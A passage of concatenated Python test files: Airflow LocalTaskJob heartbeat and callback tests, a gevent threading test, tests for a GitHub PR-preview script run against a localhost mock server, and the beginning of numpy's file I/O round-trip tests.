self.assertRaises(AirflowException, job1.heartbeat_callback)
@patch('os.getpid')
def test_heartbeat_failed_fast(self, mock_getpid):
"""
Test that task heartbeat will sleep when it fails fast
"""
mock_getpid.return_value = 1
self.mock_base_job_sleep.side_effect = time.sleep
with create_session() as session:
dagbag = DagBag(
dag_folder=TEST_DAG_FOLDER,
include_examples=False,
)
dag_id = 'test_heartbeat_failed_fast'
task_id = 'test_heartbeat_failed_fast_op'
dag = dagbag.get_dag(dag_id)
task = dag.get_task(task_id)
dag.create_dagrun(run_id="test_heartbeat_failed_fast_run",
state=State.RUNNING,
execution_date=DEFAULT_DATE,
start_date=DEFAULT_DATE,
session=session)
ti = TaskInstance(task=task, execution_date=DEFAULT_DATE)
ti.refresh_from_db()
ti.state = State.RUNNING
ti.hostname = get_hostname()
ti.pid = 1
session.commit()
job = LocalTaskJob(task_instance=ti, executor=MockExecutor(do_update=False))
job.heartrate = 2
heartbeat_records = []
job.heartbeat_callback = lambda session: heartbeat_records.append(job.latest_heartbeat)
job._execute()
self.assertGreater(len(heartbeat_records), 2)
for i in range(1, len(heartbeat_records)):
time1 = heartbeat_records[i - 1]
time2 = heartbeat_records[i]
# Assert that difference small enough
delta = (time2 - time1).total_seconds()
self.assertAlmostEqual(delta, job.heartrate, delta=0.05)
@pytest.mark.xfail(condition=True, reason="This test might be flaky in postgres/mysql")
def test_mark_success_no_kill(self):
"""
Test that ensures that mark_success in the UI doesn't cause
the task to fail, and that the task exits
"""
dagbag = DagBag(
dag_folder=TEST_DAG_FOLDER,
include_examples=False,
)
dag = dagbag.dags.get('test_mark_success')
task = dag.get_task('task1')
session = settings.Session()
dag.clear()
dag.create_dagrun(run_id="test",
state=State.RUNNING,
execution_date=DEFAULT_DATE,
start_date=DEFAULT_DATE,
session=session)
ti = TaskInstance(task=task, execution_date=DEFAULT_DATE)
ti.refresh_from_db()
job1 = LocalTaskJob(task_instance=ti, ignore_ti_state=True)
process = multiprocessing.Process(target=job1.run)
process.start()
ti.refresh_from_db()
for _ in range(0, 50):
if ti.state == State.RUNNING:
break
time.sleep(0.1)
ti.refresh_from_db()
self.assertEqual(State.RUNNING, ti.state)
ti.state = State.SUCCESS
session.merge(ti)
session.commit()
process.join(timeout=10)
self.assertFalse(process.is_alive())
ti.refresh_from_db()
self.assertEqual(State.SUCCESS, ti.state)
def test_localtaskjob_double_trigger(self):
dagbag = DagBag(
dag_folder=TEST_DAG_FOLDER,
include_examples=False,
)
dag = dagbag.dags.get('test_localtaskjob_double_trigger')
task = dag.get_task('test_localtaskjob_double_trigger_task')
session = settings.Session()
dag.clear()
dr = dag.create_dagrun(run_id="test",
state=State.SUCCESS,
execution_date=DEFAULT_DATE,
start_date=DEFAULT_DATE,
session=session)
ti = dr.get_task_instance(task_id=task.task_id, session=session)
ti.state = State.RUNNING
ti.hostname = get_hostname()
ti.pid = 1
session.merge(ti)
session.commit()
ti_run = TaskInstance(task=task, execution_date=DEFAULT_DATE)
ti_run.refresh_from_db()
job1 = LocalTaskJob(task_instance=ti_run,
executor=SequentialExecutor())
from airflow.task.task_runner.standard_task_runner import StandardTaskRunner
with patch.object(StandardTaskRunner, 'start', return_value=None) as mock_method:
job1.run()
mock_method.assert_not_called()
ti = dr.get_task_instance(task_id=task.task_id, session=session)
self.assertEqual(ti.pid, 1)
self.assertEqual(ti.state, State.RUNNING)
session.close()
@pytest.mark.quarantined
def test_localtaskjob_maintain_heart_rate(self):
dagbag = DagBag(
dag_folder=TEST_DAG_FOLDER,
include_examples=False,
)
dag = dagbag.dags.get('test_localtaskjob_double_trigger')
task = dag.get_task('test_localtaskjob_double_trigger_task')
session = settings.Session()
dag.clear()
dag.create_dagrun(run_id="test",
state=State.SUCCESS,
execution_date=DEFAULT_DATE,
start_date=DEFAULT_DATE,
session=session)
ti_run = TaskInstance(task=task, execution_date=DEFAULT_DATE)
ti_run.refresh_from_db()
job1 = LocalTaskJob(task_instance=ti_run,
executor=SequentialExecutor())
# this should make sure we only heartbeat once and exit at the second
# loop in _execute()
return_codes = [None, 0]
def multi_return_code():
return return_codes.pop(0)
time_start = time.time()
from airflow.task.task_runner.standard_task_runner import StandardTaskRunner
with patch.object(StandardTaskRunner, 'start', return_value=None) as mock_start:
with patch.object(StandardTaskRunner, 'return_code') as mock_ret_code:
mock_ret_code.side_effect = multi_return_code
job1.run()
self.assertEqual(mock_start.call_count, 1)
self.assertEqual(mock_ret_code.call_count, 2)
time_end = time.time()
self.assertEqual(self.mock_base_job_sleep.call_count, 1)
self.assertEqual(job1.state, State.SUCCESS)
# Consider we have patched sleep call, it should not be sleeping to
# keep up with the heart rate in other unpatched places
#
# We already make sure patched sleep call is only called once
self.assertLess(time_end - time_start, job1.heartrate)
session.close()
def test_mark_failure_on_failure_callback(self):
"""
Test that ensures that mark_failure in the UI fails
the task, and executes on_failure_callback
"""
data = {'called': False}
def check_failure(context):
self.assertEqual(context['dag_run'].dag_id, 'test_mark_failure')
data['called'] = True
def task_function(ti):
print("python_callable run in pid %s", os.getpid())
with create_session() as session:
self.assertEqual(State.RUNNING, ti.state)
ti.log.info("Marking TI as failed 'externally'")
ti.state = State.FAILED
session.merge(ti)
session.commit()
time.sleep(60)
# This should not happen -- the state change should be noticed and the task should get killed
data['reached_end_of_sleep'] = True
with DAG(dag_id='test_mark_failure', start_date=DEFAULT_DATE) as dag:
task = PythonOperator(
task_id='test_state_succeeded1',
python_callable=task_function,
on_failure_callback=check_failure)
session = settings.Session()
dag.clear()
dag.create_dagrun(run_id="test",
state=State.RUNNING,
execution_date=DEFAULT_DATE,
start_date=DEFAULT_DATE,
session=session)
ti = TaskInstance(task=task, execution_date=DEFAULT_DATE)
ti.refresh_from_db()
job1 = LocalTaskJob(task_instance=ti,
ignore_ti_state=True,
executor=SequentialExecutor())
with timeout(30):
# This should be _much_ shorter to run.
# If you change this limit, make the timeout in the callbable above bigger
job1.run()
ti.refresh_from_db()
self.assertEqual(ti.state, State.FAILED)
self.assertTrue(data['called'])
self.assertNotIn('reached_end_of_sleep', data,
'Task should not have been allowed to run to completion')
@pytest.mark.quarantined
def test_mark_success_on_success_callback(self):
"""
Test that ensures that where a task is marked suceess in the UI
on_success_callback gets executed
"""
data = {'called': False}
def success_callback(context):
self.assertEqual(context['dag_run'].dag_id,
'test_mark_success')
data['called'] = True
dag = DAG(dag_id='test_mark_success',
start_date=DEFAULT_DATE,
default_args={'owner': 'owner1'})
task = DummyOperator(
task_id='test_state_succeeded1',
dag=dag,
on_success_callback=success_callback)
session = settings.Session()
dag.clear()
dag.create_dagrun(run_id="test",
state=State.RUNNING,
execution_date=DEFAULT_DATE,
start_date=DEFAULT_DATE,
session=session)
ti = TaskInstance(task=task, execution_date=DEFAULT_DATE)
ti.refresh_from_db()
job1 = LocalTaskJob(task_instance=ti,
ignore_ti_state=True,
executor=SequentialExecutor())
from airflow.task.task_runner.standard_task_runner import StandardTaskRunner
job1.task_runner = StandardTaskRunner(job1)
process = multiprocessing.Process(target=job1.run)
process.start()
ti.refresh_from_db()
for _ in range(0, 50):
if ti.state == State.RUNNING:
break
time.sleep(0.1)
ti.refresh_from_db()
self.assertEqual(State.RUNNING, ti.state)
ti.state = State.SUCCESS
session.merge(ti)
session.commit()
job1.heartbeat_callback(session=None)
self.assertTrue(data['called'])
process.join(timeout=10)
self.assertFalse(process.is_alive())
@pytest.fixture()
def clean_db_helper():
yield
clear_db_jobs()
clear_db_runs()
@pytest.mark.usefixtures("clean_db_helper")
class TestLocalTaskJobPerformance:
@pytest.mark.parametrize("return_codes", [[0], 9 * [None] + [0]]) # type: ignore
@mock.patch("airflow.jobs.local_task_job.get_task_runner")
def test_number_of_queries_single_loop(self, mock_get_task_runner, return_codes):
unique_prefix = str(uuid.uuid4())
dag = DAG(dag_id=f'{unique_prefix}_test_number_of_queries', start_date=DEFAULT_DATE)
task = DummyOperator(task_id='test_state_succeeded1', dag=dag)
dag.clear()
dag.create_dagrun(run_id=unique_prefix, state=State.NONE)
ti = TaskInstance(task=task, execution_date=DEFAULT_DATE)
mock_get_task_runner.return_value.return_code.side_effects = return_codes
job = LocalTaskJob(task_instance=ti, executor=MockExecutor())
with assert_queries_count(12):
job.run()
|
test__monkey_hub_in_thread.py | from gevent.monkey import patch_all
patch_all(thread=False)
from threading import Thread
import time
# The first time we init the hub is in the native
# thread with time.sleep(), needing multiple
# threads at the same time. Note: this is very timing
# dependent.
# See #687
def func():
time.sleep()
def main():
threads = []
for _ in range(3):
th = Thread(target=func)
th.start()
threads.append(th)
for th in threads:
th.join()
if __name__ == '__main__':
main()
|
test_update_pr_preview.py | try:
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
except ImportError:
# Python 3 case
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import os
import subprocess
import tempfile
import threading
subject = os.path.join(
os.path.dirname(os.path.abspath(__file__)), '..', 'update_pr_preview.py'
)
test_host = 'localhost'
class MockHandler(BaseHTTPRequestHandler, object):
def do_all(self):
request_body = None
if 'Content-Length' in self.headers:
request_body = self.rfile.read(
int(self.headers['Content-Length'])
).decode('utf-8')
if self.headers.get('Content-Type') == 'application/json':
request_body = json.loads(request_body)
request = (self.command, self.path, request_body)
self.server.requests.append(request)
status_code, body = self.server.responses.get(request[:2], (200, '{}'))
self.send_response(status_code)
self.end_headers()
self.wfile.write(body.encode('utf-8'))
def do_DELETE(self):
return self.do_all()
def do_GET(self):
return self.do_all()
def do_PATCH(self):
return self.do_all()
def do_POST(self):
return self.do_all()
class MockServer(HTTPServer, object):
'''HTTP server that responds to all requests with status code 200 and body
'{}' unless an alternative status code and body are specified for the given
method and path in the `responses` parameter.'''
def __init__(self, address, responses=None):
super(MockServer, self).__init__(address, MockHandler)
self.responses = responses or {}
self.requests = []
def assert_success(returncode):
assert returncode == 0
def assert_neutral(returncode):
assert returncode == 0
def assert_fail(returncode):
assert returncode not in (0, 78)
def run(event_data, responses=None):
fd, event_data_file = tempfile.mkstemp(text=True)
handle = os.fdopen(fd, 'w')
try:
json.dump(event_data, handle)
finally:
handle.close()
env = {
'GITHUB_EVENT_PATH': event_data_file,
'GITHUB_REPOSITORY': 'test-org/test-repo'
}
env.update(os.environ)
server = MockServer((test_host, 0), responses)
test_port = server.server_address[1]
threading.Thread(target=lambda: server.serve_forever()).start()
try:
child = subprocess.Popen(
['python', subject, 'http://{}:{}'.format(test_host, test_port)],
env=env
)
child.communicate()
finally:
server.shutdown()
os.remove(event_data_file)
return child.returncode, server.requests
def to_key(request):
return request[:2]
class Requests(object):
read_collaborator = (
'GET', '/repos/test-org/test-repo/collaborators/rms', None
)
create_label = (
'POST',
'/repos/test-org/test-repo/issues/543/labels',
{'labels': ['pull-request-has-preview']}
)
delete_label = (
'DELETE',
'/repos/test-org/test-repo/issues/543/labels/pull-request-has-preview',
''
)
get_ref_open = (
'GET', '/repos/test-org/test-repo/git/refs/prs-open/gh-543', None
)
get_ref_labeled = (
'GET',
'/repos/test-org/test-repo/git/refs/prs-labeled-for-preview/gh-543',
None
)
create_ref_open = (
'POST',
'/repos/test-org/test-repo/git/refs',
{'ref': 'refs/prs-open/gh-543', 'sha': 'deadbeef'}
)
create_ref_labeled = (
'POST',
'/repos/test-org/test-repo/git/refs',
{'ref': 'refs/prs-labeled-for-preview/gh-543', 'sha': 'deadbeef'}
)
delete_ref_open = (
'DELETE', '/repos/test-org/test-repo/git/refs/prs-open/gh-543', ''
)
delete_ref_labeled = (
'DELETE',
'/repos/test-org/test-repo/git/refs/prs-labeled-for-preview/gh-543', ''
)
update_ref_open = (
'PATCH',
'/repos/test-org/test-repo/git/refs/prs-open/gh-543',
{'force': True, 'sha': 'deadbeef'}
)
update_ref_labeled = (
'PATCH',
'/repos/test-org/test-repo/git/refs/prs-labeled-for-preview/gh-543',
{'force': True, 'sha': 'deadbeef'}
)
def default_data(action):
return {
'pull_request': {
'number': 543,
'closed_at': None,
'head': {
'sha': 'deadbeef'
},
'user': {
'login': 'rms'
},
'labels': [
{'name': 'foo'},
{'name': 'bar'}
]
},
'action': action
}
def test_close_active_with_label():
event_data = default_data('closed')
event_data['pull_request']['closed_at'] = '2019-07-05'
event_data['pull_request']['labels'].append(
{'name': 'pull-request-has-preview'}
)
returncode, requests = run(event_data)
assert_success(returncode)
assert Requests.delete_label in requests
assert Requests.delete_ref_open in requests
assert Requests.delete_ref_labeled not in requests
def test_close_active_with_label_error():
event_data = default_data('closed')
event_data['pull_request']['closed_at'] = '2019-07-05'
event_data['pull_request']['labels'].append(
{'name': 'pull-request-has-preview'}
)
responses = {
to_key(Requests.delete_label): (500, '{}')
}
returncode, requests = run(event_data, responses)
assert_fail(returncode)
def test_close_active_without_label():
event_data = default_data('closed')
event_data['pull_request']['closed_at'] = '2019-07-05'
returncode, requests = run(event_data)
assert_success(returncode)
assert [Requests.delete_ref_open] == requests
def test_open_with_label():
event_data = default_data('opened')
event_data['pull_request']['labels'].append(
{'name': 'pull-request-has-preview'}
)
returncode, requests = run(event_data)
assert_success(returncode)
assert Requests.update_ref_open in requests
assert Requests.update_ref_labeled in requests
def test_open_without_label_for_collaborator():
event_data = default_data('opened')
responses = {
to_key(Requests.read_collaborator): (204, ''),
to_key(Requests.get_ref_open): (404, '{}'),
to_key(Requests.get_ref_labeled): (404, '{}'),
}
returncode, requests = run(event_data, responses)
assert_success(returncode)
assert Requests.create_label in requests
assert Requests.create_ref_open in requests
assert Requests.create_ref_labeled in requests
def test_open_without_label_for_non_collaborator():
event_data = default_data('opened')
responses = {
('GET', '/repos/test-org/test-repo/collaborators/rms'): (404, '{}')
}
returncode, requests = run(event_data, responses)
assert_neutral(returncode)
assert [Requests.read_collaborator] == requests
def test_add_unrelated_label():
event_data = default_data('labeled')
event_data['label'] = {'name': 'foobar'}
event_data['pull_request']['labels'].append({'name': 'foobar'})
returncode, requests = run(event_data)
assert_neutral(returncode)
assert len(requests) == 0
def test_add_active_label():
event_data = default_data('labeled')
event_data['label'] = {'name': 'pull-request-has-preview'}
event_data['pull_request']['labels'].append(
{'name': 'pull-request-has-preview'}
)
responses = {
to_key(Requests.get_ref_open): (404, '{}'),
to_key(Requests.get_ref_labeled): (404, '{}')
}
returncode, requests = run(event_data, responses)
assert_success(returncode)
assert Requests.create_ref_open not in requests
assert Requests.create_ref_labeled in requests
def test_add_active_label_to_closed():
event_data = default_data('labeled')
event_data['pull_request']['closed_at'] = '2019-07-05'
event_data['label'] = {'name': 'pull-request-has-preview'}
event_data['pull_request']['labels'].append(
{'name': 'pull-request-has-preview'}
)
responses = {
to_key(Requests.get_ref_open): (404, '{}'),
to_key(Requests.get_ref_labeled): (404, '{}')
}
returncode, requests = run(event_data, responses)
assert_success(returncode)
assert Requests.create_ref_open not in requests
assert Requests.create_ref_labeled in requests
def test_remove_unrelated_label():
event_data = default_data('unlabeled')
event_data['label'] = {'name': 'foobar'}
returncode, requests = run(event_data)
assert_neutral(returncode)
assert len(requests) == 0
def test_remove_active_label():
event_data = default_data('unlabeled')
event_data['label'] = {'name': 'pull-request-has-preview'}
responses = {
to_key(Requests.delete_ref_labeled): (204, '')
}
returncode, requests = run(event_data, responses)
assert_success(returncode)
assert Requests.delete_ref_labeled in requests
assert Requests.delete_ref_open not in requests
def test_remove_active_label_from_closed():
event_data = default_data('unlabeled')
event_data['pull_request']['closed_at'] = '2019-07-05'
event_data['label'] = {'name': 'pull-request-has-preview'}
responses = {
to_key(Requests.delete_ref_labeled): (204, '')
}
returncode, requests = run(event_data, responses)
assert_success(returncode)
assert Requests.delete_ref_labeled in requests
assert Requests.delete_ref_open not in requests
def test_synchronize_without_label():
event_data = default_data('synchronize')
returncode, requests = run(event_data)
assert_neutral(returncode)
assert len(requests) == 0
def test_synchronize_with_label():
event_data = default_data('synchronize')
event_data['pull_request']['labels'].append(
{'name': 'pull-request-has-preview'}
)
returncode, requests = run(event_data)
assert_success(returncode)
assert Requests.update_ref_open in requests
assert Requests.update_ref_labeled in requests
def test_unrecognized_action():
event_data = default_data('assigned')
returncode, requests = run(event_data)
assert_neutral(returncode)
assert len(requests) == 0
|
test_io.py | import sys
import gzip
import os
import threading
import time
import warnings
import io
import re
import pytest
from tempfile import NamedTemporaryFile
from io import BytesIO, StringIO
from datetime import datetime
import locale
import numpy as np
import numpy.ma as ma
from numpy.lib._iotools import ConverterError, ConversionWarning
from numpy.compat import asbytes, bytes, Path
from numpy.ma.testutils import assert_equal
from numpy.testing import (
assert_warns, assert_, assert_raises_regex, assert_raises,
assert_allclose, assert_array_equal, temppath, tempdir, IS_PYPY,
HAS_REFCOUNT, suppress_warnings, assert_no_gc_cycles, assert_no_warnings
)
from numpy.testing._private.utils import requires_memory
class TextIO(BytesIO):
"""Helper IO class.
Writes encode strings to bytes if needed, reads return bytes.
This makes it easier to emulate files opened in binary mode
without needing to explicitly convert strings to bytes in
setting up the test data.
"""
def __init__(self, s=""):
BytesIO.__init__(self, asbytes(s))
def write(self, s):
BytesIO.write(self, asbytes(s))
def writelines(self, lines):
BytesIO.writelines(self, [asbytes(s) for s in lines])
MAJVER, MINVER = sys.version_info[:2]
IS_64BIT = sys.maxsize > 2**32
try:
import bz2
HAS_BZ2 = True
except ImportError:
HAS_BZ2 = False
try:
import lzma
HAS_LZMA = True
except ImportError:
HAS_LZMA = False
def strptime(s, fmt=None):
"""
This function is available in the datetime module only from Python >=
2.5.
"""
if type(s) == bytes:
s = s.decode("latin1")
return datetime(*time.strptime(s, fmt)[:3])
class RoundtripTest:
def roundtrip(self, save_func, *args, **kwargs):
"""
save_func : callable
Function used to save arrays to file.
file_on_disk : bool
If true, store the file on disk, instead of in a
string buffer.
save_kwds : dict
Parameters passed to `save_func`.
load_kwds : dict
Parameters passed to `numpy.load`.
args : tuple of arrays
Arrays stored to file.
"""
save_kwds = kwargs.get('save_kwds', {})
load_kwds = kwargs.get('load_kwds', {"allow_pickle": True})
file_on_disk = kwargs.get('file_on_disk', False)
if file_on_disk:
target_file = NamedTemporaryFile(delete=False)
load_file = target_file.name
else:
target_file = BytesIO()
load_file = target_file
try:
arr = args
save_func(target_file, *arr, **save_kwds)
target_file.flush()
target_file.seek(0)
if sys.platform == 'win32' and not isinstance(target_file, BytesIO):
target_file.close()
arr_reloaded = np.load(load_file, **load_kwds)
self.arr = arr
self.arr_reloaded = arr_reloaded
finally:
if not isinstance(target_file, BytesIO):
target_file.close()
# holds an open file descriptor so it can't be deleted on win
if 'arr_reloaded' in locals():
if not isinstance(arr_reloaded, np.lib.npyio.NpzFile):
os.remove(target_file.name)
def check_roundtrips(self, a):
self.roundtrip(a)
self.roundtrip(a, file_on_disk=True)
self.roundtrip(np.asfortranarray(a))
self.roundtrip(np.asfortranarray(a), file_on_disk=True)
if a.shape[0] > 1:
# neither C nor Fortran contiguous for 2D arrays or more
self.roundtrip(np.asfortranarray(a)[1:])
self.roundtrip(np.asfortranarray(a)[1:], file_on_disk=True)
def test_array(self):
a = np.array([], float)
self.check_roundtrips(a)
a = np.array([[1, 2], [3, 4]], float)
self.check_roundtrips(a)
a = np.array([[1, 2], [3, 4]], int)
self.check_roundtrips(a)
a = np.array([[1 + 5j, 2 + 6j], [3 + 7j, 4 + 8j]], dtype=np.csingle)
self.check_roundtrips(a)
a = np.array([[1 + 5j, 2 + 6j], [3 + 7j, 4 + 8j]], dtype=np.cdouble)
self.check_roundtrips(a)
def test_array_object(self):
a = np.array([], object)
self.check_roundtrips(a)
a = np.array([[1, 2], [3, 4]], object)
self.check_roundtrips(a)
def test_1D(self):
a = np.array([1, 2, 3, 4], int)
self.roundtrip(a)
@pytest.mark.skipif(sys.platform == 'win32', reason="Fails on Win32")
def test_mmap(self):
a = np.array([[1, 2.5], [4, 7.3]])
self.roundtrip(a, file_on_disk=True, load_kwds={'mmap_mode': 'r'})
a = np.asfortranarray([[1, 2.5], [4, 7.3]])
self.roundtrip(a, file_on_disk=True, load_kwds={'mmap_mode': 'r'})
def test_record(self):
a = np.array([(1, 2), (3, 4)], dtype=[('x', 'i4'), ('y', 'i4')])
self.check_roundtrips(a)
@pytest.mark.slow
def test_format_2_0(self):
dt = [(("%d" % i) * 100, float) for i in range(500)]
a = np.ones(1000, dtype=dt)
with warnings.catch_warnings(record=True):
warnings.filterwarnings('always', '', UserWarning)
self.check_roundtrips(a)
class TestSaveLoad(RoundtripTest):
def roundtrip(self, *args, **kwargs):
RoundtripTest.roundtrip(self, np.save, *args, **kwargs)
assert_equal(self.arr[0], self.arr_reloaded)
assert_equal(self.arr[0].dtype, self.arr_reloaded.dtype)
assert_equal(self.arr[0].flags.fnc, self.arr_reloaded.flags.fnc)
class TestSavezLoad(RoundtripTest):
def roundtrip(self, *args, **kwargs):
RoundtripTest.roundtrip(self, np.savez, *args, **kwargs)
try:
for n, arr in enumerate(self.arr):
reloaded = self.arr_reloaded['arr_%d' % n]
assert_equal(arr, reloaded)
assert_equal(arr.dtype, reloaded.dtype)
assert_equal(arr.flags.fnc, reloaded.flags.fnc)
finally:
# delete tempfile, must be done here on windows
if self.arr_reloaded.fid:
self.arr_reloaded.fid.close()
os.remove(self.arr_reloaded.fid.name)
@pytest.mark.skipif(not IS_64BIT, reason="Needs 64bit platform")
@pytest.mark.slow
def test_big_arrays(self):
L = (1 << 31) + 100000
a = np.empty(L, dtype=np.uint8)
with temppath(prefix="numpy_test_big_arrays_", suffix=".npz") as tmp:
np.savez(tmp, a=a)
del a
npfile = np.load(tmp)
a = npfile['a'] # Should succeed
npfile.close()
del a # Avoid pyflakes unused variable warning.
def test_multiple_arrays(self):
a = np.array([[1, 2], [3, 4]], float)
b = np.array([[1 + 2j, 2 + 7j], [3 - 6j, 4 + 12j]], complex)
self.roundtrip(a, b)
def test_named_arrays(self):
a = np.array([[1, 2], [3, 4]], float)
b = np.array([[1 + 2j, 2 + 7j], [3 - 6j, 4 + 12j]], complex)
c = BytesIO()
np.savez(c, file_a=a, file_b=b)
c.seek(0)
l = np.load(c)
assert_equal(a, l['file_a'])
assert_equal(b, l['file_b'])
def test_BagObj(self):
a = np.array([[1, 2], [3, 4]], float)
b = np.array([[1 + 2j, 2 + 7j], [3 - 6j, 4 + 12j]], complex)
c = BytesIO()
np.savez(c, file_a=a, file_b=b)
c.seek(0)
l = np.load(c)
assert_equal(sorted(dir(l.f)), ['file_a','file_b'])
assert_equal(a, l.f.file_a)
assert_equal(b, l.f.file_b)
def test_savez_filename_clashes(self):
# Test that issue #852 is fixed
# and savez functions in multithreaded environment
def writer(error_list):
with temppath(suffix='.npz') as tmp:
arr = np.random.randn(500, 500)
try:
np.savez(tmp, arr=arr)
except OSError as err:
error_list.append(err)
errors = []
threads = [threading.Thread(target=writer, args=(errors,))
for j in range(3)]
for t in threads:
t.start()
for t in threads:
t.join()
if errors:
raise AssertionError(errors)
def test_not_closing_opened_fid(self):
# Test that issue #2178 is fixed:
# verify could seek on 'loaded' file
with temppath(suffix='.npz') as tmp:
with open(tmp, 'wb') as fp:
np.savez(fp, data='LOVELY LOAD')
with open(tmp, 'rb', 10000) as fp:
fp.seek(0)
assert_(not fp.closed)
np.load(fp)['data']
# fp must not get closed by .load
assert_(not fp.closed)
fp.seek(0)
assert_(not fp.closed)
#FIXME: Is this still true?
@pytest.mark.skipif(IS_PYPY, reason="Missing context manager on PyPy")
def test_closing_fid(self):
# Test that issue #1517 (too many opened files) remains closed
# It might be a "weak" test since failed to get triggered on
# e.g. Debian sid of 2012 Jul 05 but was reported to
# trigger the failure on Ubuntu 10.04:
# http://projects.scipy.org/numpy/ticket/1517#comment:2
with temppath(suffix='.npz') as tmp:
np.savez(tmp, data='LOVELY LOAD')
# We need to check if the garbage collector can properly close
# numpy npz file returned by np.load when their reference count
# goes to zero. Python 3 running in debug mode raises a
# ResourceWarning when file closing is left to the garbage
# collector, so we catch the warnings. Because ResourceWarning
# is unknown in Python < 3.x, we take the easy way out and
# catch all warnings.
with suppress_warnings() as sup:
sup.filter(Warning) # TODO: specify exact message
for i in range(1, 1025):
try:
np.load(tmp)["data"]
except Exception as e:
msg = "Failed to load data from a file: %s" % e
raise AssertionError(msg)
def test_closing_zipfile_after_load(self):
# Check that zipfile owns file and can close it. This needs to
# pass a file name to load for the test. On windows failure will
# cause a second error will be raised when the attempt to remove
# the open file is made.
prefix = 'numpy_test_closing_zipfile_after_load_'
with temppath(suffix='.npz', prefix=prefix) as tmp:
np.savez(tmp, lab='place holder')
data = np.load(tmp)
fp = data.zip.fp
data.close()
assert_(fp.closed)
class TestSaveTxt:
def test_array(self):
a = np.array([[1, 2], [3, 4]], float)
fmt = "%.18e"
c = BytesIO()
np.savetxt(c, a, fmt=fmt)
c.seek(0)
assert_equal(c.readlines(),
[asbytes((fmt + ' ' + fmt + '\n') % (1, 2)),
asbytes((fmt + ' ' + fmt + '\n') % (3, 4))])
a = np.array([[1, 2], [3, 4]], int)
c = BytesIO()
np.savetxt(c, a, fmt='%d')
c.seek(0)
assert_equal(c.readlines(), [b'1 2\n', b'3 4\n'])
def test_1D(self):
a = np.array([1, 2, 3, 4], int)
c = BytesIO()
np.savetxt(c, a, fmt='%d')
c.seek(0)
lines = c.readlines()
assert_equal(lines, [b'1\n', b'2\n', b'3\n', b'4\n'])
def test_0D_3D(self):
c = BytesIO()
assert_raises(ValueError, np.savetxt, c, np.array(1))
assert_raises(ValueError, np.savetxt, c, np.array([[[1], [2]]]))
def test_structured(self):
a = np.array([(1, 2), (3, 4)], dtype=[('x', 'i4'), ('y', 'i4')])
c = BytesIO()
np.savetxt(c, a, fmt='%d')
c.seek(0)
assert_equal(c.readlines(), [b'1 2\n', b'3 4\n'])
def test_structured_padded(self):
# gh-13297
a = np.array([(1, 2, 3),(4, 5, 6)], dtype=[
('foo', 'i4'), ('bar', 'i4'), ('baz', 'i4')
])
c = BytesIO()
np.savetxt(c, a[['foo', 'baz']], fmt='%d')
c.seek(0)
assert_equal(c.readlines(), [b'1 3\n', b'4 6\n'])
@pytest.mark.skipif(Path is None, reason="No pathlib.Path")
def test_multifield_view(self):
a = np.ones(1, dtype=[('x', 'i4'), ('y', 'i4'), ('z', 'f4')])
v = a[['x', 'z']]
with temppath(suffix='.npy') as path:
path = Path(path)
np.save(path, v)
data = np.load(path)
assert_array_equal(data, v)
def test_delimiter(self):
a = np.array([[1., 2.], [3., 4.]])
c = BytesIO()
np.savetxt(c, a, delimiter=',', fmt='%d')
c.seek(0)
assert_equal(c.readlines(), [b'1,2\n', b'3,4\n'])
def test_format(self):
a = np.array([(1, 2), (3, 4)])
c = BytesIO()
# Sequence of formats
np.savetxt(c, a, fmt=['%02d', '%3.1f'])
c.seek(0)
assert_equal(c.readlines(), [b'01 2.0\n', b'03 4.0\n'])
# A single multiformat string
c = BytesIO()
np.savetxt(c, a, fmt='%02d : %3.1f')
c.seek(0)
lines = c.readlines()
assert_equal(lines, [b'01 : 2.0\n', b'03 : 4.0\n'])
# Specify delimiter, should be overridden
c = BytesIO()
np.savetxt(c, a, fmt='%02d : %3.1f', delimiter=',')
c.seek(0)
lines = c.readlines()
assert_equal(lines, [b'01 : 2.0\n', b'03 : 4.0\n'])
# Bad fmt, should raise a ValueError
c = BytesIO()
assert_raises(ValueError, np.savetxt, c, a, fmt=99)
def test_header_footer(self):
# Test the functionality of the header and footer keyword argument.
c = BytesIO()
a = np.array([(1, 2), (3, 4)], dtype=int)
test_header_footer = 'Test header / footer'
# Test the header keyword argument
np.savetxt(c, a, fmt='%1d', header=test_header_footer)
c.seek(0)
assert_equal(c.read(),
asbytes('# ' + test_header_footer + '\n1 2\n3 4\n'))
# Test the footer keyword argument
c = BytesIO()
np.savetxt(c, a, fmt='%1d', footer=test_header_footer)
c.seek(0)
assert_equal(c.read(),
asbytes('1 2\n3 4\n# ' + test_header_footer + '\n'))
# Test the commentstr keyword argument used on the header
c = BytesIO()
commentstr = '% '
np.savetxt(c, a, fmt='%1d',
header=test_header_footer, comments=commentstr)
c.seek(0)
assert_equal(c.read(),
asbytes(commentstr + test_header_footer + '\n' + '1 2\n3 4\n'))
# Test the commentstr keyword argument used on the footer
c = BytesIO()
commentstr = '% '
np.savetxt(c, a, fmt='%1d',
footer=test_header_footer, comments=commentstr)
c.seek(0)
assert_equal(c.read(),
asbytes('1 2\n3 4\n' + commentstr + test_header_footer + '\n'))
def test_file_roundtrip(self):
with temppath() as name:
a = np.array([(1, 2), (3, 4)])
np.savetxt(name, a)
b = np.loadtxt(name)
assert_array_equal(a, b)
def test_complex_arrays(self):
ncols = 2
nrows = 2
a = np.zeros((ncols, nrows), dtype=np.complex128)
re = np.pi
im = np.e
a[:] = re + 1.0j * im
# One format only
c = BytesIO()
np.savetxt(c, a, fmt=' %+.3e')
c.seek(0)
lines = c.readlines()
assert_equal(
lines,
[b' ( +3.142e+00+ +2.718e+00j) ( +3.142e+00+ +2.718e+00j)\n',
b' ( +3.142e+00+ +2.718e+00j) ( +3.142e+00+ +2.718e+00j)\n'])
# One format for each real and imaginary part
c = BytesIO()
np.savetxt(c, a, fmt=' %+.3e' * 2 * ncols)
c.seek(0)
lines = c.readlines()
assert_equal(
lines,
[b' +3.142e+00 +2.718e+00 +3.142e+00 +2.718e+00\n',
b' +3.142e+00 +2.718e+00 +3.142e+00 +2.718e+00\n'])
# One format for each complex number
c = BytesIO()
np.savetxt(c, a, fmt=['(%.3e%+.3ej)'] * ncols)
c.seek(0)
lines = c.readlines()
assert_equal(
lines,
[b'(3.142e+00+2.718e+00j) (3.142e+00+2.718e+00j)\n',
b'(3.142e+00+2.718e+00j) (3.142e+00+2.718e+00j)\n'])
def test_complex_negative_exponent(self):
# Previous to 1.15, some formats generated x+-yj, gh 7895
ncols = 2
nrows = 2
a = np.zeros((ncols, nrows), dtype=np.complex128)
re = np.pi
im = np.e
